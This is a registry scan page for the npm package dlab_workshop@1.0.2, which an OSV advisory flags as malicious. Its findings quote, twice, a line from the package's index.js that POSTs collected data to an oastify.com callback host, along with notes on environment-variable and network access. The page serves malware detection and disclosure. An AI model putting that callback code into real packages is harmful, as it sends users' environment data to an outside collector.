registry / dlab_workshop / 1.0.2

dlab_workshop@1.0.2

OSV Malicious Advisory

scanned 10d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13277 confirms this npm version as malicious.

Advisory

MAL-2026-13277

Source

OpenSSF Malicious Packages via OSV

Decision reason

No blocking static signals were detected.

References

OSV advisory

Decision evidence

public snapshot

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 335 B of source, external domains: 9eojg3y52itd6161v4lhojajrax1lw9l.oastify.com

Source & flagged code

1 flagged

index.jsView file

•Trigger-reachable fixed external POST callback chain: manifest.main -> index.js const https = require('https'); https.post('https://[redacted].oastify.com', JSON.stringify(data));

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

Source & flagged code

1 flagged · loading source

index.jsView file

•Trigger-reachable fixed external POST callback chain: manifest.main -> index.js const https = require('https'); https.post('https://[redacted].oastify.com', JSON.stringify(data));

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

Findings

1 High2 Medium3 Low

HighTrigger Reachable External Post Callbackindex.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings